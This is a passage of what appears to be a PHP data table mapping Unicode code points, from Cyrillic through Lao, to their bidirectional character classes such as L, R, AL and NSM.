1090=>'L', 1091=>'L', 1092=>'L', 1093=>'L', 1094=>'L', 1095=>'L', 1096=>'L', 1097=>'L', 1098=>'L', 1099=>'L', 1100=>'L', 1101=>'L', 1102=>'L', 1103=>'L', 1104=>'L', 1105=>'L', 1106=>'L', 1107=>'L', 1108=>'L', 1109=>'L', 1110=>'L', 1111=>'L', 1112=>'L', 1113=>'L', 1114=>'L', 1115=>'L', 1116=>'L', 1117=>'L', 1118=>'L', 1119=>'L', 1120=>'L', 1121=>'L', 1122=>'L', 1123=>'L', 1124=>'L', 1125=>'L', 1126=>'L', 1127=>'L', 1128=>'L', 1129=>'L', 1130=>'L', 1131=>'L', 1132=>'L', 1133=>'L', 1134=>'L', 1135=>'L', 1136=>'L', 1137=>'L', 1138=>'L', 1139=>'L', 1140=>'L', 1141=>'L', 1142=>'L', 1143=>'L', 1144=>'L', 1145=>'L', 1146=>'L', 1147=>'L', 1148=>'L', 1149=>'L', 1150=>'L', 1151=>'L', 1152=>'L', 1153=>'L', 1154=>'L', 1155=>'NSM', 1156=>'NSM', 1157=>'NSM', 1158=>'NSM', 1160=>'NSM', 1161=>'NSM', 1162=>'L', 1163=>'L', 1164=>'L', 1165=>'L', 1166=>'L', 1167=>'L', 1168=>'L', 1169=>'L', 1170=>'L', 1171=>'L', 1172=>'L', 1173=>'L', 1174=>'L', 1175=>'L', 1176=>'L', 1177=>'L', 1178=>'L', 1179=>'L', 1180=>'L', 1181=>'L', 1182=>'L', 1183=>'L', 1184=>'L', 1185=>'L', 1186=>'L', 1187=>'L', 1188=>'L', 1189=>'L', 1190=>'L', 1191=>'L', 1192=>'L', 1193=>'L', 1194=>'L', 1195=>'L', 1196=>'L', 1197=>'L', 1198=>'L', 1199=>'L', 1200=>'L', 1201=>'L', 1202=>'L', 1203=>'L', 1204=>'L', 1205=>'L', 1206=>'L', 1207=>'L', 1208=>'L', 1209=>'L', 1210=>'L', 1211=>'L', 1212=>'L', 1213=>'L', 1214=>'L', 1215=>'L', 1216=>'L', 1217=>'L', 1218=>'L', 1219=>'L', 1220=>'L', 1221=>'L', 1222=>'L', 1223=>'L', 1224=>'L', 1225=>'L', 1226=>'L', 1227=>'L', 1228=>'L', 1229=>'L', 1230=>'L', 1231=>'L', 1232=>'L', 1233=>'L', 1234=>'L', 1235=>'L', 1236=>'L', 1237=>'L', 1238=>'L', 1239=>'L', 1240=>'L', 1241=>'L', 1242=>'L', 1243=>'L', 1244=>'L', 1245=>'L', 1246=>'L', 1247=>'L', 1248=>'L', 1249=>'L', 1250=>'L', 1251=>'L', 1252=>'L', 1253=>'L', 1254=>'L', 1255=>'L', 1256=>'L', 1257=>'L', 1258=>'L', 1259=>'L', 1260=>'L', 1261=>'L', 1262=>'L', 1263=>'L', 1264=>'L', 1265=>'L', 1266=>'L', 1267=>'L', 1268=>'L', 1269=>'L', 1270=>'L', 1271=>'L', 1272=>'L', 1273=>'L', 1274=>'L', 1275=>'L', 1276=>'L', 1277=>'L', 1278=>'L', 1279=>'L', 1280=>'L', 1281=>'L', 1282=>'L', 1283=>'L', 1284=>'L', 1285=>'L', 1286=>'L', 1287=>'L', 1288=>'L', 1289=>'L', 1290=>'L', 1291=>'L', 1292=>'L', 1293=>'L', 1294=>'L', 1295=>'L', 1296=>'L', 1297=>'L', 1298=>'L', 1299=>'L', 1329=>'L', 1330=>'L', 1331=>'L', 1332=>'L', 1333=>'L', 1334=>'L', 1335=>'L', 1336=>'L', 1337=>'L', 1338=>'L', 1339=>'L', 1340=>'L', 1341=>'L', 1342=>'L', 1343=>'L', 1344=>'L', 1345=>'L', 1346=>'L', 1347=>'L', 1348=>'L', 1349=>'L', 1350=>'L', 1351=>'L', 1352=>'L', 1353=>'L', 1354=>'L', 1355=>'L', 1356=>'L', 1357=>'L', 1358=>'L', 1359=>'L', 1360=>'L', 1361=>'L', 1362=>'L', 1363=>'L', 1364=>'L', 1365=>'L', 1366=>'L', 1369=>'L', 1370=>'L', 1371=>'L', 1372=>'L', 1373=>'L', 1374=>'L', 1375=>'L', 1377=>'L', 1378=>'L', 1379=>'L', 1380=>'L', 1381=>'L', 1382=>'L', 1383=>'L', 1384=>'L', 1385=>'L', 1386=>'L', 1387=>'L', 1388=>'L', 1389=>'L', 1390=>'L', 1391=>'L', 1392=>'L', 1393=>'L', 1394=>'L', 1395=>'L', 1396=>'L', 1397=>'L', 1398=>'L', 1399=>'L', 1400=>'L', 1401=>'L', 1402=>'L', 1403=>'L', 1404=>'L', 1405=>'L', 1406=>'L', 1407=>'L', 1408=>'L', 1409=>'L', 1410=>'L', 1411=>'L', 1412=>'L', 1413=>'L', 1414=>'L', 1415=>'L', 1417=>'L', 1418=>'ON', 1425=>'NSM', 1426=>'NSM', 1427=>'NSM', 1428=>'NSM', 1429=>'NSM', 1430=>'NSM', 1431=>'NSM', 1432=>'NSM', 1433=>'NSM', 1434=>'NSM', 1435=>'NSM', 1436=>'NSM', 1437=>'NSM', 1438=>'NSM', 1439=>'NSM', 1440=>'NSM', 1441=>'NSM', 1442=>'NSM', 1443=>'NSM', 1444=>'NSM', 1445=>'NSM', 1446=>'NSM', 1447=>'NSM', 1448=>'NSM', 1449=>'NSM', 1450=>'NSM', 1451=>'NSM', 1452=>'NSM', 1453=>'NSM', 1454=>'NSM', 1455=>'NSM', 1456=>'NSM', 1457=>'NSM', 1458=>'NSM', 1459=>'NSM', 1460=>'NSM', 1461=>'NSM', 1462=>'NSM', 1463=>'NSM', 1464=>'NSM', 1465=>'NSM', 1466=>'NSM', 1467=>'NSM', 1468=>'NSM', 1469=>'NSM', 1470=>'R', 1471=>'NSM', 1472=>'R', 1473=>'NSM', 1474=>'NSM', 1475=>'R', 1476=>'NSM', 1477=>'NSM', 1478=>'R', 1479=>'NSM', 1488=>'R', 1489=>'R', 1490=>'R', 1491=>'R', 1492=>'R', 1493=>'R', 1494=>'R', 1495=>'R', 1496=>'R', 1497=>'R', 1498=>'R', 1499=>'R', 1500=>'R', 1501=>'R', 1502=>'R', 1503=>'R', 1504=>'R', 1505=>'R', 1506=>'R', 1507=>'R', 1508=>'R', 1509=>'R', 1510=>'R', 1511=>'R', 1512=>'R', 1513=>'R', 1514=>'R', 1520=>'R', 1521=>'R', 1522=>'R', 1523=>'R', 1524=>'R', 1536=>'AL', 1537=>'AL', 1538=>'AL', 1539=>'AL', 1547=>'AL', 1548=>'CS', 1549=>'AL', 1550=>'ON', 1551=>'ON', 1552=>'NSM', 1553=>'NSM', 1554=>'NSM', 1555=>'NSM', 1556=>'NSM', 1557=>'NSM', 1563=>'AL', 1566=>'AL', 1567=>'AL', 1569=>'AL', 1570=>'AL', 1571=>'AL', 1572=>'AL', 1573=>'AL', 1574=>'AL', 1575=>'AL', 1576=>'AL', 1577=>'AL', 1578=>'AL', 1579=>'AL', 1580=>'AL', 1581=>'AL', 1582=>'AL', 1583=>'AL', 1584=>'AL', 1585=>'AL', 1586=>'AL', 1587=>'AL', 1588=>'AL', 1589=>'AL', 1590=>'AL', 1591=>'AL', 1592=>'AL', 1593=>'AL', 1594=>'AL', 1600=>'AL', 1601=>'AL', 1602=>'AL', 1603=>'AL', 1604=>'AL', 1605=>'AL', 1606=>'AL', 1607=>'AL', 1608=>'AL', 1609=>'AL', 1610=>'AL', 1611=>'NSM', 1612=>'NSM', 1613=>'NSM', 1614=>'NSM', 1615=>'NSM', 1616=>'NSM', 1617=>'NSM', 1618=>'NSM', 1619=>'NSM', 1620=>'NSM', 1621=>'NSM', 1622=>'NSM', 1623=>'NSM', 1624=>'NSM', 1625=>'NSM', 1626=>'NSM', 1627=>'NSM', 1628=>'NSM', 1629=>'NSM', 1630=>'NSM', 1632=>'AN', 1633=>'AN', 1634=>'AN', 1635=>'AN', 1636=>'AN', 1637=>'AN', 1638=>'AN', 1639=>'AN', 1640=>'AN', 1641=>'AN', 1642=>'ET', 1643=>'AN', 1644=>'AN', 1645=>'AL', 1646=>'AL', 1647=>'AL', 1648=>'NSM', 1649=>'AL', 1650=>'AL', 1651=>'AL', 1652=>'AL', 1653=>'AL', 1654=>'AL', 1655=>'AL', 1656=>'AL', 1657=>'AL', 1658=>'AL', 1659=>'AL', 1660=>'AL', 1661=>'AL', 1662=>'AL', 1663=>'AL', 1664=>'AL', 1665=>'AL', 1666=>'AL', 1667=>'AL', 1668=>'AL', 1669=>'AL', 1670=>'AL', 1671=>'AL', 1672=>'AL', 1673=>'AL', 1674=>'AL', 1675=>'AL', 1676=>'AL', 1677=>'AL', 1678=>'AL', 1679=>'AL', 1680=>'AL', 1681=>'AL', 1682=>'AL', 1683=>'AL', 1684=>'AL', 1685=>'AL', 1686=>'AL', 1687=>'AL', 1688=>'AL', 1689=>'AL', 1690=>'AL', 1691=>'AL', 1692=>'AL', 1693=>'AL', 1694=>'AL', 1695=>'AL', 1696=>'AL', 1697=>'AL', 1698=>'AL', 1699=>'AL', 1700=>'AL', 1701=>'AL', 1702=>'AL', 1703=>'AL', 1704=>'AL', 1705=>'AL', 1706=>'AL', 1707=>'AL', 1708=>'AL', 1709=>'AL', 1710=>'AL', 1711=>'AL', 1712=>'AL', 1713=>'AL', 1714=>'AL', 1715=>'AL', 1716=>'AL', 1717=>'AL', 1718=>'AL', 1719=>'AL', 1720=>'AL', 1721=>'AL', 1722=>'AL', 1723=>'AL', 1724=>'AL', 1725=>'AL', 1726=>'AL', 1727=>'AL', 1728=>'AL', 1729=>'AL', 1730=>'AL', 1731=>'AL', 1732=>'AL', 1733=>'AL', 1734=>'AL', 1735=>'AL', 1736=>'AL', 1737=>'AL', 1738=>'AL', 1739=>'AL', 1740=>'AL', 1741=>'AL', 1742=>'AL', 1743=>'AL', 1744=>'AL', 1745=>'AL', 1746=>'AL', 1747=>'AL', 1748=>'AL', 1749=>'AL', 1750=>'NSM', 1751=>'NSM', 1752=>'NSM', 1753=>'NSM', 1754=>'NSM', 1755=>'NSM', 1756=>'NSM', 1757=>'AL', 1758=>'NSM', 1759=>'NSM', 1760=>'NSM', 1761=>'NSM', 1762=>'NSM', 1763=>'NSM', 1764=>'NSM', 1765=>'AL', 1766=>'AL', 1767=>'NSM', 1768=>'NSM', 1769=>'ON', 1770=>'NSM', 1771=>'NSM', 1772=>'NSM', 1773=>'NSM', 1774=>'AL', 1775=>'AL', 1776=>'EN', 1777=>'EN', 1778=>'EN', 1779=>'EN', 1780=>'EN', 1781=>'EN', 1782=>'EN', 1783=>'EN', 1784=>'EN', 1785=>'EN', 1786=>'AL', 1787=>'AL', 1788=>'AL', 1789=>'AL', 1790=>'AL', 1791=>'AL', 1792=>'AL', 1793=>'AL', 1794=>'AL', 1795=>'AL', 1796=>'AL', 1797=>'AL', 1798=>'AL', 1799=>'AL', 1800=>'AL', 1801=>'AL', 1802=>'AL', 1803=>'AL', 1804=>'AL', 1805=>'AL', 1807=>'BN', 1808=>'AL', 1809=>'NSM', 1810=>'AL', 1811=>'AL', 1812=>'AL', 1813=>'AL', 1814=>'AL', 1815=>'AL', 1816=>'AL', 1817=>'AL', 1818=>'AL', 1819=>'AL', 1820=>'AL', 1821=>'AL', 1822=>'AL', 1823=>'AL', 1824=>'AL', 1825=>'AL', 1826=>'AL', 1827=>'AL', 1828=>'AL', 1829=>'AL', 1830=>'AL', 1831=>'AL', 1832=>'AL', 1833=>'AL', 1834=>'AL', 1835=>'AL', 1836=>'AL', 1837=>'AL', 1838=>'AL', 1839=>'AL', 1840=>'NSM', 1841=>'NSM', 1842=>'NSM', 1843=>'NSM', 1844=>'NSM', 1845=>'NSM', 1846=>'NSM', 1847=>'NSM', 1848=>'NSM', 1849=>'NSM', 1850=>'NSM', 1851=>'NSM', 1852=>'NSM', 1853=>'NSM', 1854=>'NSM', 1855=>'NSM', 1856=>'NSM', 1857=>'NSM', 1858=>'NSM', 1859=>'NSM', 1860=>'NSM', 1861=>'NSM', 1862=>'NSM', 1863=>'NSM', 1864=>'NSM', 1865=>'NSM', 1866=>'NSM', 1869=>'AL', 1870=>'AL', 1871=>'AL', 1872=>'AL', 1873=>'AL', 1874=>'AL', 1875=>'AL', 1876=>'AL', 1877=>'AL', 1878=>'AL', 1879=>'AL', 1880=>'AL', 1881=>'AL', 1882=>'AL', 1883=>'AL', 1884=>'AL', 1885=>'AL', 1886=>'AL', 1887=>'AL', 1888=>'AL', 1889=>'AL', 1890=>'AL', 1891=>'AL', 1892=>'AL', 1893=>'AL', 1894=>'AL', 1895=>'AL', 1896=>'AL', 1897=>'AL', 1898=>'AL', 1899=>'AL', 1900=>'AL', 1901=>'AL', 1920=>'AL', 1921=>'AL', 1922=>'AL', 1923=>'AL', 1924=>'AL', 1925=>'AL', 1926=>'AL', 1927=>'AL', 1928=>'AL', 1929=>'AL', 1930=>'AL', 1931=>'AL', 1932=>'AL', 1933=>'AL', 1934=>'AL', 1935=>'AL', 1936=>'AL', 1937=>'AL', 1938=>'AL', 1939=>'AL', 1940=>'AL', 1941=>'AL', 1942=>'AL', 1943=>'AL', 1944=>'AL', 1945=>'AL', 1946=>'AL', 1947=>'AL', 1948=>'AL', 1949=>'AL', 1950=>'AL', 1951=>'AL', 1952=>'AL', 1953=>'AL', 1954=>'AL', 1955=>'AL', 1956=>'AL', 1957=>'AL', 1958=>'NSM', 1959=>'NSM', 1960=>'NSM', 1961=>'NSM', 1962=>'NSM', 1963=>'NSM', 1964=>'NSM', 1965=>'NSM', 1966=>'NSM', 1967=>'NSM', 1968=>'NSM', 1969=>'AL', 1984=>'R', 1985=>'R', 1986=>'R', 1987=>'R', 1988=>'R', 1989=>'R', 1990=>'R', 1991=>'R', 1992=>'R', 1993=>'R', 1994=>'R', 1995=>'R', 1996=>'R', 1997=>'R', 1998=>'R', 1999=>'R', 2000=>'R', 2001=>'R', 2002=>'R', 2003=>'R', 2004=>'R', 2005=>'R', 2006=>'R', 2007=>'R', 2008=>'R', 2009=>'R', 2010=>'R', 2011=>'R', 2012=>'R', 2013=>'R', 2014=>'R', 2015=>'R', 2016=>'R', 2017=>'R', 2018=>'R', 2019=>'R', 2020=>'R', 2021=>'R', 2022=>'R', 2023=>'R', 2024=>'R', 2025=>'R', 2026=>'R', 2027=>'NSM', 2028=>'NSM', 2029=>'NSM', 2030=>'NSM', 2031=>'NSM', 2032=>'NSM', 2033=>'NSM', 2034=>'NSM', 2035=>'NSM', 2036=>'R', 2037=>'R', 2038=>'ON', 2039=>'ON', 2040=>'ON', 2041=>'ON', 2042=>'R', 2305=>'NSM', 2306=>'NSM', 2307=>'L', 2308=>'L', 2309=>'L', 2310=>'L', 2311=>'L', 2312=>'L', 2313=>'L', 2314=>'L', 2315=>'L', 2316=>'L', 2317=>'L', 2318=>'L', 2319=>'L', 2320=>'L', 2321=>'L', 2322=>'L', 2323=>'L', 2324=>'L', 2325=>'L', 2326=>'L', 2327=>'L', 2328=>'L', 2329=>'L', 2330=>'L', 2331=>'L', 2332=>'L', 2333=>'L', 2334=>'L', 2335=>'L', 2336=>'L', 2337=>'L', 2338=>'L', 2339=>'L', 2340=>'L', 2341=>'L', 2342=>'L', 2343=>'L', 2344=>'L', 2345=>'L', 2346=>'L', 2347=>'L', 2348=>'L', 2349=>'L', 2350=>'L', 2351=>'L', 2352=>'L', 2353=>'L', 2354=>'L', 2355=>'L', 2356=>'L', 2357=>'L', 2358=>'L', 2359=>'L', 2360=>'L', 2361=>'L', 2364=>'NSM', 2365=>'L', 2366=>'L', 2367=>'L', 2368=>'L', 2369=>'NSM', 2370=>'NSM', 2371=>'NSM', 2372=>'NSM', 2373=>'NSM', 2374=>'NSM', 2375=>'NSM', 2376=>'NSM', 2377=>'L', 2378=>'L', 2379=>'L', 2380=>'L', 2381=>'NSM', 2384=>'L', 2385=>'NSM', 2386=>'NSM', 2387=>'NSM', 2388=>'NSM', 2392=>'L', 2393=>'L', 2394=>'L', 2395=>'L', 2396=>'L', 2397=>'L', 2398=>'L', 2399=>'L', 2400=>'L', 2401=>'L', 2402=>'NSM', 2403=>'NSM', 2404=>'L', 2405=>'L', 2406=>'L', 2407=>'L', 2408=>'L', 2409=>'L', 2410=>'L', 2411=>'L', 2412=>'L', 2413=>'L', 2414=>'L', 2415=>'L', 2416=>'L', 2427=>'L', 2428=>'L', 2429=>'L', 2430=>'L', 2431=>'L', 2433=>'NSM', 2434=>'L', 2435=>'L', 2437=>'L', 2438=>'L', 2439=>'L', 2440=>'L', 2441=>'L', 2442=>'L', 2443=>'L', 2444=>'L', 2447=>'L', 2448=>'L', 2451=>'L', 2452=>'L', 2453=>'L', 2454=>'L', 2455=>'L', 2456=>'L', 2457=>'L', 2458=>'L', 2459=>'L', 2460=>'L', 2461=>'L', 2462=>'L', 2463=>'L', 2464=>'L', 2465=>'L', 2466=>'L', 2467=>'L', 2468=>'L', 2469=>'L', 2470=>'L', 2471=>'L', 2472=>'L', 2474=>'L', 2475=>'L', 2476=>'L', 2477=>'L', 2478=>'L', 2479=>'L', 2480=>'L', 2482=>'L', 2486=>'L', 2487=>'L', 2488=>'L', 2489=>'L', 2492=>'NSM', 2493=>'L', 2494=>'L', 2495=>'L', 2496=>'L', 2497=>'NSM', 2498=>'NSM', 2499=>'NSM', 2500=>'NSM', 2503=>'L', 2504=>'L', 2507=>'L', 2508=>'L', 2509=>'NSM', 2510=>'L', 2519=>'L', 2524=>'L', 2525=>'L', 2527=>'L', 2528=>'L', 2529=>'L', 2530=>'NSM', 2531=>'NSM', 2534=>'L', 2535=>'L', 2536=>'L', 2537=>'L', 2538=>'L', 2539=>'L', 2540=>'L', 2541=>'L', 2542=>'L', 2543=>'L', 2544=>'L', 2545=>'L', 2546=>'ET', 2547=>'ET', 2548=>'L', 2549=>'L', 2550=>'L', 2551=>'L', 2552=>'L', 2553=>'L', 2554=>'L', 2561=>'NSM', 2562=>'NSM', 2563=>'L', 2565=>'L', 2566=>'L', 2567=>'L', 2568=>'L', 2569=>'L', 2570=>'L', 2575=>'L', 2576=>'L', 2579=>'L', 2580=>'L', 2581=>'L', 2582=>'L', 2583=>'L', 2584=>'L', 2585=>'L', 2586=>'L', 2587=>'L', 2588=>'L', 2589=>'L', 2590=>'L', 2591=>'L', 2592=>'L', 2593=>'L', 2594=>'L', 2595=>'L', 2596=>'L', 2597=>'L', 2598=>'L', 2599=>'L', 2600=>'L', 2602=>'L', 2603=>'L', 2604=>'L', 2605=>'L', 2606=>'L', 2607=>'L', 2608=>'L', 2610=>'L', 2611=>'L', 2613=>'L', 2614=>'L', 2616=>'L', 2617=>'L', 2620=>'NSM', 2622=>'L', 2623=>'L', 2624=>'L', 2625=>'NSM', 2626=>'NSM', 2631=>'NSM', 2632=>'NSM', 2635=>'NSM', 2636=>'NSM', 2637=>'NSM', 2649=>'L', 2650=>'L', 2651=>'L', 2652=>'L', 2654=>'L', 2662=>'L', 2663=>'L', 2664=>'L', 2665=>'L', 2666=>'L', 2667=>'L', 2668=>'L', 2669=>'L', 2670=>'L', 2671=>'L', 2672=>'NSM', 2673=>'NSM', 2674=>'L', 2675=>'L', 2676=>'L', 2689=>'NSM', 2690=>'NSM', 2691=>'L', 2693=>'L', 2694=>'L', 2695=>'L', 2696=>'L', 2697=>'L', 2698=>'L', 2699=>'L', 2700=>'L', 2701=>'L', 2703=>'L', 2704=>'L', 2705=>'L', 2707=>'L', 2708=>'L', 2709=>'L', 2710=>'L', 2711=>'L', 2712=>'L', 2713=>'L', 2714=>'L', 2715=>'L', 2716=>'L', 2717=>'L', 2718=>'L', 2719=>'L', 2720=>'L', 2721=>'L', 2722=>'L', 2723=>'L', 2724=>'L', 2725=>'L', 2726=>'L', 2727=>'L', 2728=>'L', 2730=>'L', 2731=>'L', 2732=>'L', 2733=>'L', 2734=>'L', 2735=>'L', 2736=>'L', 2738=>'L', 2739=>'L', 2741=>'L', 2742=>'L', 2743=>'L', 2744=>'L', 2745=>'L', 2748=>'NSM', 2749=>'L', 2750=>'L', 2751=>'L', 2752=>'L', 2753=>'NSM', 2754=>'NSM', 2755=>'NSM', 2756=>'NSM', 2757=>'NSM', 2759=>'NSM', 2760=>'NSM', 2761=>'L', 2763=>'L', 2764=>'L', 2765=>'NSM', 2768=>'L', 2784=>'L', 2785=>'L', 2786=>'NSM', 2787=>'NSM', 2790=>'L', 2791=>'L', 2792=>'L', 2793=>'L', 2794=>'L', 2795=>'L', 2796=>'L', 2797=>'L', 2798=>'L', 2799=>'L', 2801=>'ET', 2817=>'NSM', 2818=>'L', 2819=>'L', 2821=>'L', 2822=>'L', 2823=>'L', 2824=>'L', 2825=>'L', 2826=>'L', 2827=>'L', 2828=>'L', 2831=>'L', 2832=>'L', 2835=>'L', 2836=>'L', 2837=>'L', 2838=>'L', 2839=>'L', 2840=>'L', 2841=>'L', 2842=>'L', 2843=>'L', 2844=>'L', 2845=>'L', 2846=>'L', 2847=>'L', 2848=>'L', 2849=>'L', 2850=>'L', 2851=>'L', 2852=>'L', 2853=>'L', 2854=>'L', 2855=>'L', 2856=>'L', 2858=>'L', 2859=>'L', 2860=>'L', 2861=>'L', 2862=>'L', 2863=>'L', 2864=>'L', 2866=>'L', 2867=>'L', 2869=>'L', 2870=>'L', 2871=>'L', 2872=>'L', 2873=>'L', 2876=>'NSM', 2877=>'L', 2878=>'L', 2879=>'NSM', 2880=>'L', 2881=>'NSM', 2882=>'NSM', 2883=>'NSM', 2887=>'L', 2888=>'L', 2891=>'L', 2892=>'L', 2893=>'NSM', 2902=>'NSM', 2903=>'L', 2908=>'L', 2909=>'L', 2911=>'L', 2912=>'L', 2913=>'L', 2918=>'L', 2919=>'L', 2920=>'L', 2921=>'L', 2922=>'L', 2923=>'L', 2924=>'L', 2925=>'L', 2926=>'L', 2927=>'L', 2928=>'L', 2929=>'L', 2946=>'NSM', 2947=>'L', 2949=>'L', 2950=>'L', 2951=>'L', 2952=>'L', 2953=>'L', 2954=>'L', 2958=>'L', 2959=>'L', 2960=>'L', 2962=>'L', 2963=>'L', 2964=>'L', 2965=>'L', 2969=>'L', 2970=>'L', 2972=>'L', 2974=>'L', 2975=>'L', 2979=>'L', 2980=>'L', 2984=>'L', 2985=>'L', 2986=>'L', 2990=>'L', 2991=>'L', 2992=>'L', 2993=>'L', 2994=>'L', 2995=>'L', 2996=>'L', 2997=>'L', 2998=>'L', 2999=>'L', 3000=>'L', 3001=>'L', 3006=>'L', 3007=>'L', 3008=>'NSM', 3009=>'L', 3010=>'L', 3014=>'L', 3015=>'L', 3016=>'L', 3018=>'L', 3019=>'L', 3020=>'L', 3021=>'NSM', 3031=>'L', 3046=>'L', 3047=>'L', 3048=>'L', 3049=>'L', 3050=>'L', 3051=>'L', 3052=>'L', 3053=>'L', 3054=>'L', 3055=>'L', 3056=>'L', 3057=>'L', 3058=>'L', 3059=>'ON', 3060=>'ON', 3061=>'ON', 3062=>'ON', 3063=>'ON', 3064=>'ON', 3065=>'ET', 3066=>'ON', 3073=>'L', 3074=>'L', 3075=>'L', 3077=>'L', 3078=>'L', 3079=>'L', 3080=>'L', 3081=>'L', 3082=>'L', 3083=>'L', 3084=>'L', 3086=>'L', 3087=>'L', 3088=>'L', 3090=>'L', 3091=>'L', 3092=>'L', 3093=>'L', 3094=>'L', 3095=>'L', 3096=>'L', 3097=>'L', 3098=>'L', 3099=>'L', 3100=>'L', 3101=>'L', 3102=>'L', 3103=>'L', 3104=>'L', 3105=>'L', 3106=>'L', 3107=>'L', 3108=>'L', 3109=>'L', 3110=>'L', 3111=>'L', 3112=>'L', 3114=>'L', 3115=>'L', 3116=>'L', 3117=>'L', 3118=>'L', 3119=>'L', 3120=>'L', 3121=>'L', 3122=>'L', 3123=>'L', 3125=>'L', 3126=>'L', 3127=>'L', 3128=>'L', 3129=>'L', 3134=>'NSM', 3135=>'NSM', 3136=>'NSM', 3137=>'L', 3138=>'L', 3139=>'L', 3140=>'L', 3142=>'NSM', 3143=>'NSM', 3144=>'NSM', 3146=>'NSM', 3147=>'NSM', 3148=>'NSM', 3149=>'NSM', 3157=>'NSM', 3158=>'NSM', 3168=>'L', 3169=>'L', 3174=>'L', 3175=>'L', 3176=>'L', 3177=>'L', 3178=>'L', 3179=>'L', 3180=>'L', 3181=>'L', 3182=>'L', 3183=>'L', 3202=>'L', 3203=>'L', 3205=>'L', 3206=>'L', 3207=>'L', 3208=>'L', 3209=>'L', 3210=>'L', 3211=>'L', 3212=>'L', 3214=>'L', 3215=>'L', 3216=>'L', 3218=>'L', 3219=>'L', 3220=>'L', 3221=>'L', 3222=>'L', 3223=>'L', 3224=>'L', 3225=>'L', 3226=>'L', 3227=>'L', 3228=>'L', 3229=>'L', 3230=>'L', 3231=>'L', 3232=>'L', 3233=>'L', 3234=>'L', 3235=>'L', 3236=>'L', 3237=>'L', 3238=>'L', 3239=>'L', 3240=>'L', 3242=>'L', 3243=>'L', 3244=>'L', 3245=>'L', 3246=>'L', 3247=>'L', 3248=>'L', 3249=>'L', 3250=>'L', 3251=>'L', 3253=>'L', 3254=>'L', 3255=>'L', 3256=>'L', 3257=>'L', 3260=>'NSM', 3261=>'L', 3262=>'L', 3263=>'L', 3264=>'L', 3265=>'L', 3266=>'L', 3267=>'L', 3268=>'L', 3270=>'L', 3271=>'L', 3272=>'L', 3274=>'L', 3275=>'L', 3276=>'NSM', 3277=>'NSM', 3285=>'L', 3286=>'L', 3294=>'L', 3296=>'L', 3297=>'L', 3298=>'NSM', 3299=>'NSM', 3302=>'L', 3303=>'L', 3304=>'L', 3305=>'L', 3306=>'L', 3307=>'L', 3308=>'L', 3309=>'L', 3310=>'L', 3311=>'L', 3313=>'ON', 3314=>'ON', 3330=>'L', 3331=>'L', 3333=>'L', 3334=>'L', 3335=>'L', 3336=>'L', 3337=>'L', 3338=>'L', 3339=>'L', 3340=>'L', 3342=>'L', 3343=>'L', 3344=>'L', 3346=>'L', 3347=>'L', 3348=>'L', 3349=>'L', 3350=>'L', 3351=>'L', 3352=>'L', 3353=>'L', 3354=>'L', 3355=>'L', 3356=>'L', 3357=>'L', 3358=>'L', 3359=>'L', 3360=>'L', 3361=>'L', 3362=>'L', 3363=>'L', 3364=>'L', 3365=>'L', 3366=>'L', 3367=>'L', 3368=>'L', 3370=>'L', 3371=>'L', 3372=>'L', 3373=>'L', 3374=>'L', 3375=>'L', 3376=>'L', 3377=>'L', 3378=>'L', 3379=>'L', 3380=>'L', 3381=>'L', 3382=>'L', 3383=>'L', 3384=>'L', 3385=>'L', 3390=>'L', 3391=>'L', 3392=>'L', 3393=>'NSM', 3394=>'NSM', 3395=>'NSM', 3398=>'L', 3399=>'L', 3400=>'L', 3402=>'L', 3403=>'L', 3404=>'L', 3405=>'NSM', 3415=>'L', 3424=>'L', 3425=>'L', 3430=>'L', 3431=>'L', 3432=>'L', 3433=>'L', 3434=>'L', 3435=>'L', 3436=>'L', 3437=>'L', 3438=>'L', 3439=>'L', 3458=>'L', 3459=>'L', 3461=>'L', 3462=>'L', 3463=>'L', 3464=>'L', 3465=>'L', 3466=>'L', 3467=>'L', 3468=>'L', 3469=>'L', 3470=>'L', 3471=>'L', 3472=>'L', 3473=>'L', 3474=>'L', 3475=>'L', 3476=>'L', 3477=>'L', 3478=>'L', 3482=>'L', 3483=>'L', 3484=>'L', 3485=>'L', 3486=>'L', 3487=>'L', 3488=>'L', 3489=>'L', 3490=>'L', 3491=>'L', 3492=>'L', 3493=>'L', 3494=>'L', 3495=>'L', 3496=>'L', 3497=>'L', 3498=>'L', 3499=>'L', 3500=>'L', 3501=>'L', 3502=>'L', 3503=>'L', 3504=>'L', 3505=>'L', 3507=>'L', 3508=>'L', 3509=>'L', 3510=>'L', 3511=>'L', 3512=>'L', 3513=>'L', 3514=>'L', 3515=>'L', 3517=>'L', 3520=>'L', 3521=>'L', 3522=>'L', 3523=>'L', 3524=>'L', 3525=>'L', 3526=>'L', 3530=>'NSM', 3535=>'L', 3536=>'L', 3537=>'L', 3538=>'NSM', 3539=>'NSM', 3540=>'NSM', 3542=>'NSM', 3544=>'L', 3545=>'L', 3546=>'L', 3547=>'L', 3548=>'L', 3549=>'L', 3550=>'L', 3551=>'L', 3570=>'L', 3571=>'L', 3572=>'L', 3585=>'L', 3586=>'L', 3587=>'L', 3588=>'L', 3589=>'L', 3590=>'L', 3591=>'L', 3592=>'L', 3593=>'L', 3594=>'L', 3595=>'L', 3596=>'L', 3597=>'L', 3598=>'L', 3599=>'L', 3600=>'L', 3601=>'L', 3602=>'L', 3603=>'L', 3604=>'L', 3605=>'L', 3606=>'L', 3607=>'L', 3608=>'L', 3609=>'L', 3610=>'L', 3611=>'L', 3612=>'L', 3613=>'L', 3614=>'L', 3615=>'L', 3616=>'L', 3617=>'L', 3618=>'L', 3619=>'L', 3620=>'L', 3621=>'L', 3622=>'L', 3623=>'L', 3624=>'L', 3625=>'L', 3626=>'L', 3627=>'L', 3628=>'L', 3629=>'L', 3630=>'L', 3631=>'L', 3632=>'L', 3633=>'NSM', 3634=>'L', 3635=>'L', 3636=>'NSM', 3637=>'NSM', 3638=>'NSM', 3639=>'NSM', 3640=>'NSM', 3641=>'NSM', 3642=>'NSM', 3647=>'ET', 3648=>'L', 3649=>'L', 3650=>'L', 3651=>'L', 3652=>'L', 3653=>'L', 3654=>'L', 3655=>'NSM', 3656=>'NSM', 3657=>'NSM', 3658=>'NSM', 3659=>'NSM', 3660=>'NSM', 3661=>'NSM', 3662=>'NSM', 3663=>'L', 3664=>'L', 3665=>'L', 3666=>'L', 3667=>'L', 3668=>'L', 3669=>'L', 3670=>'L', 3671=>'L', 3672=>'L', 3673=>'L', 3674=>'L', 3675=>'L', 3713=>'L', 3714=>'L', 3716=>'L', 3719=>'L', 3720=>'L', 3722=>'L', 3725=>'L', 3732=>'L', 3733=>'L', 3734=>'L', 3735=>'L', 3737=>'L', 3738=>'L', 